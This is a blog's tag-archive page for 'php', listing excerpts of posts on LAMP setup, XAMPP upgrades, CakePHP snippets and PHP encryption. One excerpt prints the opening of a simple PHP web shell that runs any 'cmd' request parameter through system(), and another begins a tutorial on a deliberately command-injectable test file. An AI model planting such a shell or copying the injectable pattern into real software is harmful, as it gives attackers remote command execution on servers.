Tag Archives: php
Install LAMP stack on Ubuntu 16.04

Update system sudo apt-get update && sudo apt-get dist-upgradesudo apt-get update && sudo apt-get dist-upgrade Install Apache sudo apt-get install…

How to upgrade XAMPP in Windows

> Open XAMPP Control Panel (run as administrator!). > Stop services and uninstall them from services list if any. >…

List table columns in cakephp 3

List table columns $db = \Cake\Datasource\ConnectionManager::get(’default’); $collection = $db->schemaCollection(); $table= $collection->describe(’tablename’); $columns = $table->columns();$db = \Cake\Datasource\ConnectionManager::get(‘default’); $collection = $db->schemaCollection(); $table=…

OpenSSL AES 256 CBC encryption in PHP

define(’AES_METHOD’, ‘AES-256-CBC’);   class AES256 { public function Encrypt($password, $plainText) { if(empty($password) || empty($plainText)) { return FALSE; }   //generate…

CakePHP 3 – Format Datetime in words

To use TimeHelper you have to enable it first. To enable a helper in your view, add the name of…

Encrypting communication between C# and PHP with Rijndael 256

PHP Encryption $iv_to_pass_to_decryption = ”; function encrypt($text, $key) { $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND); $iv_to_pass_to_decryption = base64_encode($iv); return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key,…

Simple JSON response with CakePHP 3

CakePHP 3 Book – Chapter JSON and XML views Controller code: namespace App\Controller;   class MyJsonController extends AppController { public…

Custom Finder Method in CakePHP 3

In your Table Model create a method and name it, findMymethod, ‘find’ prefix is mandatory, for ex. public function findOffline(Query…

A quick and dirty php web shell

<?php if(isset($_REQUEST[’cmd’])){ echo "Command: <span style=’color:red;’><b>".$_REQUEST[’cmd’]."</b></span> executed."; echo "<pre style=’border:solid 3px red;background:black;color:white;padding:10px;font-size:14px;’>"; $cmd = ($_REQUEST[’cmd’]); system($cmd); echo "</ pre>"; die;…

PHP Command Injection Vulnerability in Web applications

Create a new PHP file, name it test_command_injection.php, and save it inside Apache’s htdocs directory: <?php if(isset($_GET[’filename’])) { $filename =…

Next Page